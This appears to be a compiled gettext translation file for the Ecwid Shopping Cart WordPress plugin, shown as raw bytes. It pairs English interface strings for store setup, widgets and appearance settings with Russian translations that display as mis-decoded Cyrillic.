���:u��6���Hu�����u�����•u�����«u��¾��Ëu��6���Šy��3���Áy��5���õy��3���+z��5���_z��L���•z��i���âz�����L{�����h{�����ˆ{�����¨{�����Ä{��g���á{��Ô���I|��”���}��©���³}��i���]~��…���Ç~�����M�����Û��/���ø��%���(€��/���N€�����~€��,���”€��1��Á€��&���ó��*���‚�����E‚�����W‚�����h‚��!���€‚��%���¢‚��#���È‚��ž���ì‚�����‹ƒ�����¡ƒ��X��Áƒ��s���†�����ކ��,���†��0���ʆ��D���û†��6���@‡��6���w‡�����®‡��F���À‡�����ˆ�����#ˆ�����4ˆ�����Nˆ��L���hˆ��.���µˆ�����äˆ��)���‰��'���,‰��J���T‰�����Ÿ‰��#���·‰��g���Û‰��#���CŠ��>���gŠ��N���¦Š��¿���õŠ��µ���µ‹����kŒ��(���z��0���£�����Ô�����ò��!���‚Ž�����¤Ž��3���ÄŽ��!���øŽ����������0��D���?��B���„��S���Ç��F�����/���b��/���’��/���Â��%���ò��6���‘��0���O‘��Y���€‘��H���Ú‘��9���#’��+���]’��7���‰’��U���Á’��2���“��2���J“�����}“��Ò���›“��ú���n”��Œ���i•��b���ö•��i���Y–��\���Ö��e�� —��¸���†˜��H���?™��/���ˆ™�� ���¸™�����Å™��;���ä™�� ��� š�����+š�����Eš�����_š��J���~š��J���Éš��Z���›��í��o›��O���]��©��­��`���WŸ��à��¸Ÿ��*���™¢��9���Ä¢�����þ¢��(���£��-���C£��%���q£��#���—£��B���»£��)���þ£�����(¤��0���A¤�� ���r¤�� ���¤��5���Ф����À¤��`���Æ¥��.���'¦��?���V¦��2���–¦��8���ɦ��#���§�����&§��&���@§�� ���g§�����r§�� ���†§��ª��“§�����>©�����O©��[���j©��U���Æ©�����ª��B���8ª��H���{ª��%���Ī��#���êª��k���«��5���z«��`���°«��F���¬��"���X¬��1���{¬��3���­¬�����á¬��#���ý¬�����!­��$���2­��6���W­��N���Ž­��7���Ý­��ì���®�����¯�����¯�����*¯�� ���,¯�� ���M¯�� ���n¯��-���y¯�����§¯�����¿¯�����Ú¯�� ���ð¯�����ý¯��'��°�����;±��0���=±��@���n±��'���¯±��%���×±��®���ý±��U���¬²�����³�����³��@���"³�����c³�����v³��5���‰³��!���¿³��Ã��á³��l���¥µ��1���¶��=���D¶��A���‚¶�� ���Ķ�� ���϶��,���ܶ��0��� ·��#���:·�����^·��”���q·��±���¸�� ���¸¸��½��Ÿ��P��ƒº��B���Ô»��%���¼�����=¼����T¼��Ð���q½��y���B¾��1���¼¾��(���î¾�����¿�����4¿��(���Q¿��6���z¿�����±¿�����Æ¿�����Ï¿��(���á¿��*��� À�����5À�����QÀ��2���kÀ��N���žÀ��*���íÀ�����Á�����.Á��*���NÁ��0���yÁ��0���ªÁ�����ÛÁ�� ���ùÁ��q���Â��1���xÂ��`���ªÂ����� Ã����� Ã�����9Ã��$���WÃ��6���|Ã�����³Ã��'���ÌÃ��0���ôÃ��0���%Ä��"���VÄ��7���yÄ��$���±Ä��!���ÖÄ�����øÄ�����Å�����Å����� Å�����/Å��.���>Å��%���mÅ�� ���“Å��%���žÅ��·���ÄÅ�����|Æ�����˜Æ��?���®Æ��?���îÆ�����.Ç��/���AÇ��9���qÇ�����«Ç��!���ÇÇ�����éÇ�����üÇ��#���È�����3È�����BÈ��#���QÈ�����uÈ�����È��U���¤È�����úÈ��E���É�����\É��7���tÉ��<���¬É��>���éÉ��=���(Ê��:���fÊ�� ���¡Ê��;��¬Ê��D���èÌ�����-Í��!���FÍ��i���hÍ��6��ÒÍ��f��� Ï�����pÏ��#���Ï��0���£Ï�����ÔÏ��E��èÏ�����.Ñ��#���JÑ��!���nÑ�� ���Ñ��4���±Ñ�����æÑ�����õÑ��4���Ò��-���FÒ�����tÒ��-���}Ò�����«Ò�����ºÒ��f���ÒÒ��+���9Ó�����eÓ�����}Ó��T��“Ó��v���èÔ�����_Õ�����|Õ����� Ö��¼���œÖ����Y×�����nØ��,���Ø�����¬Ø��&���ÊØ��0���ñØ�����"Ù����4Ù��v��JÚ��A��ÁÛ����Ý��‡���!à����©à��©���:â��`��äâ��™��Eä��½��ßå��¾���ç��2��\è�����é��/���©é�����Ùé�����íé��n���þé����mê����|ë�����‘ì��0���¨ì��A���Ùì��¬���í��&���Èí��&���ïí�����î����.î��€��3ï����´ð��Þ���Èó����§ô��=���Äõ��o���ö��l��rö��’���ß÷��Þ���rø��è���Qù��O���:ú��^���Šú��'���éú�� ���û��X���û��%���uû��¢���›û��E���>ü��9���„ü��(���¾ü�����çü�����ý�����'ý��@���Gý��,���ˆý��&���µý��²���Üý��}���þ��c��� ÿ��•���qÿ��¦��������®��2���È�����û����� ��������-����M����\����Ü���†��U�����Í�������P����L���è��� ��»���þ���O��c���>������������������Ô���!�������w���D�������ö���–��y�����Ä���Ù�������X�������Ã������ž��p������‡������¢���A�������~���J���d��N��€������‰���k������l��Z���Ÿ��C�������>���C����™���ä���������������������{�� ������E��t��������_���n����������é���.���������…���ý�������š��B���ú���4��b��‡���?��¹������������������‰��x��Þ�������g��}��+���<����������*���������m��š���ÿ���c��‹��÷���9�������i���|��ã���9��¤���������I���v��ô���r���������W���Y��� ���������¸���-�� ��’�� ��Ž�����2���À���†���M�������å����������É�������k�����������‘������Q���F���Ì���¡��|������±�����������:���(��� �����ˆ������������������j���!��˜�������;������������Ð�������Î�������=���������������”�������Ž���Z����������������=����£��«���n������T��������������5��H���-�������6����w����˜������Y������ ���\��Ò���“���¾���•��������������í���f��� ���m���ê�������—��%��¦���O���^��¬���Æ���E�������������[��������������]���+��Â�����t���F������'��p���}�����#��������������������������Ý�������ù�����*����������z���������”��.������™��������ð��� ������r���e���3������@������W�� ���S�������‚����¢��8�� ���¯��������������’���h��������Š��—���z����������´���‹�����������s�������i�����á�������0���Ú�������¡�������S���������®���Ë�����������\���›��³���ž�������7��º���f��Š���;��Ø�������­�����������x���°���(��o���ƒ���–�������œ��£�����������^�����������·���a��U��T����ñ�������“�����:��l�������,��P���o��‘�������µ���¶���1���K���6���…��I��{�����������ç���u������¿���ª�����������q���L��v���h��������������@���›���R��� ���������Õ��� ���M��à�������Å���æ���7���$���ï���N���D��e��ó���%����� ��Q��G������¨������V���,���§�������#������J������²���â����������������������y������ˆ���©���"�������G��u���½���û���ò���)���H��œ���)��‚���?���/������¥�����g���Ê�����������Ñ���������������î���ë���q��Ö���b�������õ���0��V��&�������Á���2������Ÿ�������1������d�������€���„���È���~��'���/���"��a���ì�����ß���]��„��$����������5�����B��Û���3���Œ��¼�����A��������Ç�������ü���[���X��&��Ó���Œ�������K��s��¤��_��j�����ƒ��`��×������R������Ï���`���•��<���ø�������4���8���� Thank you very much for contacting us! We will get back to you shortly.�"In stock" label�%s Blog�%s Shopping Cart�%s Shopping Cart — Appearance settings�%s Store�%s Store Page�%s is compatible with your<br>“%s†WordPress theme<br>out of the box.�%s plugin doesn't work well with my "%s" theme�%s product�%s products and categories�%s settings�%s shopping cart settings�%s store�%s stores your products data in a secure cloud storage. The product pages are displayed on the fly when a customer browses your store. So, basically, the products are not stored on the site, that's why the site search doesn't find product pages while looking through site pages and posts. This option enables a local storage mode: the products will be stored both in the cloud and on your site. The site search results will list product pages as well as regular pages/posts of your site.�%s — Advanced settings�2 columns, image on the left�2 columns, image on the right�3 columns, image on the left�3 columns, image on the right�<a %s>Online store powered by %s</a>�<a %s>Reconnect</a>�Add Product�Add Store�Add border�Add storefront (product listing)�Add to Menu�Add your Ecwid store to your site <nobr>in two clicks</nobr>�Additionally, you can add store controls to your website's toolbar using <a %s>WordPress native widgets</a>�Adds a cart widget for customer to see the products they added to the cart.�Adds a compact cart widget for customer to see the products they added to the cart.�Adds a shopping cart widget to the top right corner of your site.�Adds root categories list to the sidebar to let your customers navigate the store.�Adds vertical categories block to let the customer navigate your store.�Advanced�Advanced settings�Already have %s account?�Already have Ecwid account?�Appearance�Appearance settings�Automatic adjustment of your store design to your WordPress theme. Whatever WordPress theme you use, %s will detect predominant colors and font and use them in your product catalog.�Available qty in stock�Back to Store Settings�Background color�Billing Questions�Bottom right�Breadcrumbs�Browse all products.�Browse by Category�Bulk import products and categories to your %s store�Button color�Buy now buttons�By default, the storefront shows a list of root categories. You can override this behavior and show a different category when customers open your store for the first time. This is useful if you only have one category or want to display a specific set of items (e.g. "Featured Products") to new visitors.�Cache and speed up the store home page <sup>new</sup>�Cart�Category List Appearance�Category card layout�Category shown by default�Category thumbnail aspect ratio�Category thumbnail size�Center�Center align on a page�Chameleon skin�Change�Choose Product�Choose product�Choose product properties to display in widget�Choose widgets to show�Color settings�Compatible with your theme�Complete Setup�Complete setup and start selling�Congratulations!�Connect�Connect your Ecwid store to this site <nobr>in two clicks</nobr>�Connect your store�Connect your store to this site�Connect your store<br /> to this WordPress site�Connection error - after clicking button you need to login and accept permissions to use our plugin. Please, try again.�Connection error: please click the button again and give permissions for this plugin<br /> to show your %s store on this site.�Connection error: please click the button again and give permissions for this plugin<br /> to show your Ecwid store on this site.�Contact us�Create Ecwid store�Create Store�Create a free Ecwid account to manage your store and inventory.<br /> No credit card required�Creating store�Current Page�Customer Single Sign-On�Customize Your Store�Customize widget�Dashboard�Default category ID�Default view mode on product pages�Default view mode on search results�Deleted products synchronized: %1$s out of %2$s�Demo Store�Demo store�Detect automatically�Disconnect store�Display breadcrumbs�Display cart icon�Display categories above products�Display categories menu�Display footer menu�Display product with a buy button�Display search box�Display search box above products�Display sign in link�Display sort by link�Displayed product�Displays a link to the store page in sidebar for customer to quickly access your store from any page on the site.�Displays a list of products recently viewed by the customer to easily return to the products they saw in your shop.�Displays a random product from your store to attract customer attention.�Displays a simple search box for your customers to find a product in your store�Displays storefront: product listing and checkout�Displays the latest added products from your store. Show new products to returning customers to drive repeat sales.�Do you like Ecwid and want to help it grow? You can add this fancy 'Powered by Ecwid' badge on your site to show your visitors that you're a proud user of Ecwid.�Do you like your %s online store? We'd appreciate it if you add your review and vote for the plugin on WordPress site.�Don't have an %s account? Create one now.�Don't have an Ecwid account?�Done�Download log file�E.g. How to set up shipping�Ecwid�Ecwid Badge�Ecwid Basics�Ecwid Menu Item�Ecwid e-commerce widgets�Ecwid ecommerce solution�Ecwid free shopping cart�Ecwid is PCI DSS Level 1 certified, which is the gold standard for e-commerce solutions worldwide. This means you won't have any banking compliance issues when selling online with Ecwid. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#security">More details.</a>�Ecwid is a free full-featured shopping cart. It can be easily integrated with any Wordpress blog and takes less than 5 minutes to set up.�Ecwid is compatible with any WordPress theme. Be it a free theme from WordPress.org catalog, a premium theme by a third-party vendor or a custom-made theme, your Ecwid store will work good with it. If you want a premium theme, we recommend <a href="%s">TemplateMonster themes</a>�Ecwid is compatible with your<br>“%s†WordPress theme<br>out of the box.�Ecwid provides free mobile applications for iOS and Android to manage your store and sell on the go. Scan products, track inventory, manage sales and accept payments using your mobile device as a POS station. <a target="_blank" href="https://www.ecwid.com/ecwid-mobile">More details.</a>�Ecwid shopping cart�Ecwid shopping cart widget�Edit �Edit Appearance�Edit Category�Edit Product�Edit Store�Enable minicart attached to categories�Enter your Store ID�Features�Filters panel position�First Page�Forums�Free and always up to date�Free plan always available with tons of features<br>at no additional cost. Updates are seamless, automatic<br>and free of charge.�Free registration, No credit card required�Frequently Asked Questions�Get %s mobile app�Get Started, Create Ecwid Account�Get ready to sell online�Global Reach�Greetings!�Greetings! Your %s plugin is now active.�Grid�Grid view�Help�Here you can control how many products will be displayed per page. These options define maximum values. If there is not enough space to show all product columns, %s will adapt the number of columns to hold all products.�Hide�Horizontal thumbnails�How can I add a cart widget to my site sidebar?�How can I manage my store from a mobile device?�How can we help you?�How do I add store categories to the site menu?�How do I put my products in the sitemap?�How much does Ecwid cost?�How secure is this plugin? Is my store PCI DSS compliant?�How to add a single product with the add to bag button to the site pages?�How to set up a storefront on Facebook with Ecwid?�I couldn’t find a WordPress theme that goes well with %s�I have a problem with my %s store�I use this WordPress theme: %s�Image and title on mouse over�Image feed�Image gallery layout�Image only�Insert�Insert into page�Integration with search on your site�Is it possible to display my store on the site home page?�Is there a WordPress theme for Ecwid?�Join the Ecwid community. Discuss support topics and store ideas with other Ecwid users.�Justify�Knowledge Base�L�Landscape 3:2�Landscape 4:3�Last Page�Last update�Latest Products�Left�Link color�List�List view�Looks like your site does not support remote POST requests that are required for %s API to work. Please, contact your hosting provider to enable cURL.�M�Main storefront page�Manage Store on iPhone, iPad or Android�Manage Your Ecwid Store�Manage my store�Manage products, track sales, adjust settings - <nobr>All without</nobr> leaving this page.�More than 800,000 merchants in 175 countries�My Account�Name�Never show this message again�Next Page�Next page�No credit card required�Not synchronized yet�Note: the new URLs will be automatically enabled for every store in one of upcoming updates so please make sure to check how the new URLs work in your store and <a %s>let us know</a> if you face any trouble with them�Nothing found for <span class="empty-page__term">"{{ data.term }}"</span>�Number of categories per row�Number of products per page�Number of products to show�On the left�On the right�Online Store Apps�Open control panel�Open store dashboard�Options�Or you can add search box to your website's toolbar using <a href="%s">WordPress native widgets</a>�Or you can add vertical categories to your website's toolbar using <a href="%s">WordPress native widgets</a>�Orders�Our 4 account types vary by number of products, types of functionality, and level of support. For more information, check out our <a target="_blank" href="%s">pricing page.</a><br /><br />Pro Tip: You can also save money by enrolling in our annual plans.�Our team is already working on this issue. Please refresh the page in a few minutes. If the issue persists, please contact <a target="_blank" href="https://help.ecwid.com/customer/portal/emails/new">our customer support team</a>.�Over 1 million merchants in 175 countries�PCI DSS Certified�Picture�Please note this functionality is in beta. So if you run into difficulties or find problems with Chameleon, please <a %s>let us know</a>.�Please note this functionality is in beta. So if you run into difficulties or find problems with it, please <a %s>let us know</a>.�Please subscribe to a paid plan to get this feature.�Plugin is installed successfully!�Plugins for Ecwid�Portrait 2:3�Portrait 3:4�Position�Preparing your store dashboard�Previous Page�Price�Price color�Product List Appearance�Product Page Appearance�Product SKU�Product Search�Product card text align�Product catalog will be shown automatically�Product page layout�Product price�Product quantity�Product sidebar content�Product thumbnail aspect ratio�Product thumbnail size�Product title�Products�Products are successfully synchronized. The product pages are up to date.�Products synchronized: %1$s out of %2$s�Provide access.�Quantity�Questions?�Random Product�Rate %s at WordPress.org�Re-connect to Enable Control Panel�Read FAQ�Recently Viewed Products�Recommendations for Your Online Store�Refresh categories list�Register�Register at Ecwid for free�Report a problem with the store�Responsive design�Right�S�SEO friendly clean URLs�SKU�Sales�Save and connect�Save changes�Search�Search the Knowledge Base�Secure checkout with over 40<br />payment options�See more�Select All�Sell Everywhere�Sell Everywhere<br>with your Ecwid store�Send Message�Send a message to our support team�Send message failed�Set manually�Set up your store�Settings�Setup�Share buttons�Shop�Shopping Cart�Shopping Cart (Floating)�Shopping Cart (Mini)�Show�Show additional image on hover�Show categories�Show description under the image�Show minicart�Show on hover�Show price inside the "Buy now" button�Show price inside the «Buy now» button�Show product card border�Show product thumbnails�Show search�Single Sign-On allows your customers to have a single login for your WordPress site and your %s. When someone logs in to your site, they will automatically be logged in to their customer account in your store as well with no need to enter their email/password again.�Sorry we're having technical difficulties.�Square 1:1�Start selling�Start selling <br>on your WordPress <nobr>site for free</nobr>�Start selling on your WordPress site. Then mirror your shop on your Facebook page, blog and marketplaces like Google Shopping, Yahoo and Shopping.com.�Still have questions about Ecwid? Let us know!�Store�Store Categories�Store Front Page�Store ID�Store ID is a unique identifier of your %1$s account. You can find it in your %1$s control panel: open the <a %2$s>Dashboard page</a> and find the "<b>Store ID: NNNNNNN</b>" text, where <b>NNNNNNN</b> is your Store ID.�Store Link Title�Store Navigation�Store Page�Store Page Link�Store Root Categories�Store elements�Store is created�Store root category�Store with Categories Menu�Subject�Synchronize products�Table�Table view�Take a few simple steps to complete store setup�Technical Reference�Text�Text color�Thank you for choosing %s to build your online store. The first step to sell successfully online is to set up your store! Let’s get started and add a store to your website in a few simple steps.�The store top-level categories are automatically added to this drop-down menu�Themes for Ecwid�There are few little steps left to start selling<br /> on your WordPress site�There are just a few steps left to start selling<br /> on your WordPress site�This caches your store home page on your site to make it load way faster for your customers.�This enables new clean URLs format in your store. The new urls do not contain hash sign ('#'), so they look nicer and are better indexed by Google.�Title�Title on image�Title only�Title or SKU�Title under image�Title:�To add extra functions to your store, drag and drop %s store elements on your site. When you're done, you can get back to modifying your settings.�To allow %s automatically log in customers to your store, please provide it with a permission to use the customer data in the store. <a %s>Please use this link to do that</a>�To be able to choose a product to insert to your posts and pages, you will need to re-connect your site to your %s. This will only require you to accept permissions request – so that the plugin will be able to list your products in the "Add product" dialog.�To create sitemap for your Wordpress site we suggest using <a target="_blank" href="https://wordpress.org/plugins/google-sitemap-generator/">Google XML Sitemaps</a> or <a target="_blank" href="https://wordpress.org/plugins/wordpress-seo/">Yoast Wordpress SEO</a>.  plugins. These plugins are fully compatible with Ecwid and allow to generate a sitemap that will contain links to categories and product pages, so the store pages will get indexed faster. Please note that this option is available to <a target="_blank" href="https://www.ecwid.com/pricing">paid Ecwid users</a>.�To display your store on this site, you need to allow WordPress to access your %1$s products. Please press connect to provide permission.�To enable clean URLs in your store, you will need to enable pretty permalinks in your WordPress site settings. Navigate to <a%s>Settings->Permalink</a> and enable the "Post name" permalink type.�To enable this feature, the plugin needs a permission to read your store product information.�To feature a single product on a separate page or blog post of your site, use <b>[ecwid_product]</b> shortcode. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#buynow">How to use it.</a>�To improve the look and feel of your product page and manage your its appearance here, please enable the “Next-gen look and feel of the product page on the storefront†option in your store dashboard (<a href="admin.php?page=ec-store-admin-whatsnew">Settings → What’s New</a>).�To improve the look and feel of your store and manage your storefront appearance here, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (“<a href="admin.php?page=ec-store&ec-store-page=whatsnew">Settings → What’s New</a>â€).�To make sure your customer can actually log in to your site and store, enable registration in the <a %s>site settings</a>�To use this functionality, please enable the “Next-gen look and feel of the product list on the storefront†option in your store dashboard (<a%s>Settings → What's New</a>).�Top right�Try another search.�Type in your message here�Update�Upgrade to get this feature�Use %s's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store.�Use Ecwid's mobile-POS to swipe credit cards and sell on the go. Your orders and inventory are always synchronized with your online store.�Vertical thumbnails�Visit storefront�Want to connect another %s store?�We're synchronizing your products. This may take a few minutes. Please do not reload the page.�Welcome to %s!�Where to find your Store ID:�Wholesale prices�You can add product search box, cart widget and more on the <a href="%s">"Appearance / Widgets page"</a> here in your site admin. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#sidebarwidgets">More details.</a>�You can add the store categories menu to your site menu to help your customers easily navigate your site. Just open "Appearance > Menus" in your WordPress control panel and add the "Store with Categories Menu" item to your site menu. A drop-down menu containing your store categories will automatically appear on your site.�You can add your online store to your Facebook business page. No addons needed. Ecwid will automatically synchronize products, customers, orders and inventory between your WordPress and Facebook storefronts. <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/115005892705-Facebook-Shop">More details.</a>�You can display your store on the site main page. Adjust the "Reading" settings of your site as described in our <a target="_blank" href="https://support.ecwid.com/hc/en-us/articles/207101259-Wordpress-downloadable-#displaystoreonhomepage">Help Center.</a>�You can enable an extra shopping bag icon widget that will appear on your site pages. Open “<a href="%1$s">Appearance → Customize → %2$s</a>†menu to enable it.�You can send a new request here.�You have not viewed any product yet. Open store.�You have your storefront added to several pages on your site. You can choose the main storefront page here — the store navigation menus and sidebar widgets will open it.�You should disable this option, if you added minicart to your website's sidebar�You will be asked to log in to your %s Control Panel<br />and give permissions to show your store on this site�You will be asked to log in to your Ecwid Control Panel<br />and give permissions to show your store on this site�Your %s store is connected<br /> to your WordPress website�Your %s store is now connected<br /> to your WordPress website�Your email has been sent�Your product�Your store Control Panel. Right here in WordPress.�Your store is almost ready!�Your store looks perfect<br />on all devices�Your store will be shown here!�Your storefront is ready�customize appearance�gutenberg-product-blockContent�gutenberg-store-block-stubStore�https://support.ecwid.com/hc/en-us�https://support.ecwid.com/hc/en-us/articles/360000635709-Customizing-design-of-your-Ecwid-store-on-a-Wordpress-site�https://support.ecwid.com/hc/en-us/requests/new�https://support.ecwid.com/hc/en-us/search�https://support.ecwid.com/hc/en-us/sections/201702859-Technical-Reference�https://support.ecwid.com/hc/en-us/sections/201706719-Ecwid-Basics�https://support.ecwid.com/hc/en-us/sections/201706799-Billing-Questions�https://support.ecwid.com/hc/en-us/sections/201758445-Customize-Your-Store�https://support.ecwid.com/hc/en-us/sections/201758475-Manage-Your-Ecwid-Store�https://www.ecwid.com/blog�https://www.ecwid.com/forums�product-browser-attributesProduct SKU�product-browser-attributesProduct price�select product�vc-blockOnline store�vc-tabOnline store�«Buy now» button�Project-Id-Version: Ecwid Shopping Cart 4.9.4 Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/ecwid-shopping-cart POT-Creation-Date: 2017-05-30 19:04:12+00:00 PO-Revision-Date: 2019-06-13 13:39+0400 Language: ru_RU MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Last-Translator: Language-Team: X-Generator: Poedit 2.2.3 �СпаÑибо! Мы Ñкоро ÑвÑжемÑÑ Ñ Ð²Ð°Ð¼Ð¸.�Метка "Ð’ наличии"�Блог %s�Интернет-магазин %s�Магазин %s — ÐаÑтройки внешнего вида�Магазин %s�Страница %s-магазина�%s ÑовмеÑтим Ñ Ñ‚ÐµÐ¼Ð¾Ð¹<br>"%s" вашего Ñайта из коробки.�Плагин %s работает неправильно Ñ Ð¼Ð¾ÐµÐ¹ "%s" темой�%s товар�Товары и категории магазина %s�ÐаÑтройки %s�ÐаÑтройки %s�Витрина магазина�%s хранит данные товаров магазина в защищенном облачном хранилище, и показывает их прÑмо на Ñтранице магазина, когда поÑетитель открывает товар. ПоÑтому данные товаров не хранÑÑ‚ÑÑ Ð½Ð° вашем Ñайте, а поиÑк по Ñайту находит только Ñтраницы и запиÑи Ñайта — не находит товары магазина. Эта наÑтройка включает локальное хранение товаров: данные товаров будут хранитьÑÑ Ð¸ в облачном хранилище, и прÑмо на вашем Ñайте. ПоиÑк по Ñайту будет показывать Ñтраницы товаров магазина так же, как запиÑи или Ñтраницы, размещенные на Ñайте.�%s — Дополнительные наÑтройки�2 колонки, изображение Ñлева�2 колонки, изображение Ñправа�3 колонки, изображение Ñлева�3 колонки, изображение Ñправа�<a %s>Интернет магазин поÑтроен на Эквиде</a>�<a %s>ОтвÑзать Эквид-аккаунт от Ñайта и подключить другой</a>�Добавить товар�Добавить магазин�Показывать рамку�СпиÑок товаров�Добавить в меню�Подключите Ñвой Эквид-магазин к Ñайту <nobr>в два клика</nobr>�Кроме того, вы можете добавить отдельные Ñлементы магазина в Ñайдбар Ñайта иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ <a %s>вÑтроенные виджеты WordPress</a>�ДобавлÑет виджет корзины Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð±Ñ‹Ñтрого доÑтупа к добавленным товарам.�ДобавлÑет компактный виджет корзины Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»Ñ Ð´Ð»Ñ Ð±Ñ‹Ñтрого доÑтупа к добавленным товарам.�ДобавлÑет плавающий виджет корзины Ñо Ñчетчиком товаров.�Показывает ÑпиÑок корневых категорий Ð´Ð»Ñ ÑƒÐ´Ð¾Ð±Ð½Ð¾Ð¹ навигации по магазину.�Показывает вертикальный ÑпиÑок категорий Ð´Ð»Ñ ÑƒÐ´Ð¾Ð±Ð½Ð¾Ð¹ навигации по магазину.�Дополнительные�Дополнительные наÑтройки�Уже еÑть аккаунт в %s?�Уже еÑть аккаунт в Эквиде?�Внешний вид�ÐаÑтройки внешнего вида�ÐвтоматичеÑÐºÐ°Ñ Ð¿Ð¾Ð´Ñтройка внешнего вида магазина под Ñтили темы Ñайта. Включите Ñту опцию, чтобы %s определÑл цвета и шрифты Ñайта и иÑпользовал их в каталоге товаров.�КоличеÑтво в наличии�ВернутьÑÑ Ðº наÑтройкам�Цвет фона�ПодпиÑка�Справа внизу�Цепочка навигации�Показать вÑе товары.�Категории магазина�Загрузка товаров и категорий в магазин из внешних иÑточников или других e-commerce решений�Цвет кнопок�Кнопка “Купитьâ€�По умолчанию, магазин показывает корневые категории. ЗдеÑÑŒ можно выбрать другую категорию Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ, когда покупатель впервые открывает ваш магазин. Это может быть полезно, еÑли у Ð²Ð°Ñ ÐµÑть только одна ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ Ð¸Ð»Ð¸ вы хотите показывать определённые набор товаров (например, Ñпециальные предложениÑ) новым пользователÑм.�Кеширование и уÑкорение главной Ñтраницы магазина <sup>новое</sup>�Корзина�Дизайн ÑпиÑка категорий�Формат карточки категории�КатегориÑ, Ð¿Ð¾ÐºÐ°Ð·Ñ‹Ð²Ð°ÐµÐ¼Ð°Ñ Ð¿Ð¾ умолчанию�Формат Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¸�Размер Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ ÐºÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ð¸�По центру�ВыровнÑть карточку по центру Ñтраницы�Тема "Хамелеон"�Изменить�Выбрать товар�Выбрать товар�Выберите Ñлементы товара Ð´Ð»Ñ Ð¾Ñ‚Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ�Виджеты витрины магазина�ÐаÑтройки цвета�Работает Ñ Ð²Ð°ÑˆÐµÐ¹ темой�Продолжить уÑтановку�Завершите уÑтановку и начните продавать�ПоздравлÑем!�Подключите магазин�Подключите Ñвой Эквид-магазин к Ñайту <nobr>в два клика</nobr>�Подключить магазин�Подключить магазин к Ñвоему Ñайту�Подключите магазин<br /> к Ñвоему WordPress Ñайту�Ошибка подключениÑ: поÑле Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ Ð½Ð° кнопку, авторизуйтеÑÑŒ в Эквиде и предоÑтавьте запрашиваемые права.�Ошибка подключениÑ: поÑле Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ Ð½Ð° кнопку, авторизуйтеÑÑŒ в %s и предоÑтавьте запрашиваемые права.�Ошибка подключениÑ: пожалуйÑта, нажмите кнопку ещё раз и предоÑтавьте права доÑтупа плагину<br /> Ð´Ð»Ñ Ð¿ÑƒÐ±Ð»Ð¸ÐºÐ°Ñ†Ð¸Ð¸ Ñвоего Эквид-магазина на Ñтом Ñайте.�СвÑзь Ñ Ñ‚ÐµÑ…Ð¿Ð¾Ð´Ð´ÐµÑ€Ð¶ÐºÐ¾Ð¹�Создать магазин беÑплатно�Создать магазин�ЗарегиÑтрируйте беÑплатный аккаунт в Эквиде.<br /> ÐšÑ€ÐµÐ´Ð¸Ñ‚Ð½Ð°Ñ ÐºÐ°Ñ€Ñ‚Ð° не требуетÑÑ�Создание магазина�Ð¢ÐµÐºÑƒÑ‰Ð°Ñ Ñтраница�Единый вход Ð´Ð»Ñ Ð¿Ð¾ÐºÑƒÐ¿Ð°Ñ‚ÐµÐ»ÐµÐ¹�Изменение дизайна�Внешний вид�КонÑоль�КатегориÑ, Ð¿Ð¾ÐºÐ°Ð·Ñ‹Ð²Ð°ÐµÐ¼Ð°Ñ Ð¿Ð¾ умолчанию�Вид Ñтраницы продуктов по умолчанию�Вид Ñтраницы результатов поиÑка по умолчанию�Обработано удалённых товаров: %1$s из %2$s�ДемонÑтрационный магазин�ДемонÑтрационный магазин�ОпределÑть автоматичеÑки�ОтÑоединить магазин�Показывать цепочку навигации�Показывать иконку корзины�Показывать меню категорий над ÑпиÑком продуктов�Показывать меню категорий над витриной�Показывать меню внизу Ñтраницы�Товар Ñ ÐºÐ½Ð¾Ð¿ÐºÐ¾Ð¹ "Купить"�Показывать поиÑк над витриной�Показывать форму поиÑка над ÑпиÑком продуктов�Показывать ÑÑылку “Войтиâ€�Показывать меню Ñортировки�Выбранный товар�Показывает ÑÑылку на Ñтраницу магазина, позволÑющую покупателю быÑтро открыть магазин из любой Ñтраницы на Ñайте.�Показывает ÑпиÑок товаров, проÑмотренных покупателем. ПозволÑет покупателю быÑтро перейти к товарам, которые их заинтереÑовали раньше.�Показывает Ñлучайный товар из магазина, чтобы привлечь внимание покупателÑ.�Показывает покупателю поле поиÑка товаров в магазине�Показывает витрину магазина, корзину и оформление заказа�СпиÑок поÑледних добавленных товаров из магазина.�ЕÑли вам нравитÑÑ Ð­ÐºÐ²Ð¸Ð´ и вы хотите помочь ему Ñтать Ñамым популÑрным конÑтруктором интернет-магазинов, вы можете добавить значок на Ñайт, чтобы показать поÑетителÑм, что вы пользуетеÑÑŒ Эквидом.�Вам нравитÑÑ Ð²Ð°Ñˆ магазин? Будем благодарны, еÑли вы оÑтавите отзыв и проголоÑуете за %s на Ñайте WordPress.�Ещё нет аккаунта в %s? ЗарегиÑтрируйтеÑÑŒ�Ещё нет аккаунта в Эквиде?�Готово�Скачать лог-файл�Ðапример, как наÑтроить платежи?�Эквид�Значок Эквида�Ðачало работы�Пункт меню Эквид�Виджеты Ð´Ð»Ñ Ñлектронной коммерции Эквид�Решение Ð´Ð»Ñ Ñлектронной коммерции Эквид�БеÑпланный конÑтруктов интернет-магазинов Эквид�Эквид Ñертифицирован по Ñтандарту PCI DSS Level 1. Это выÑший уровень 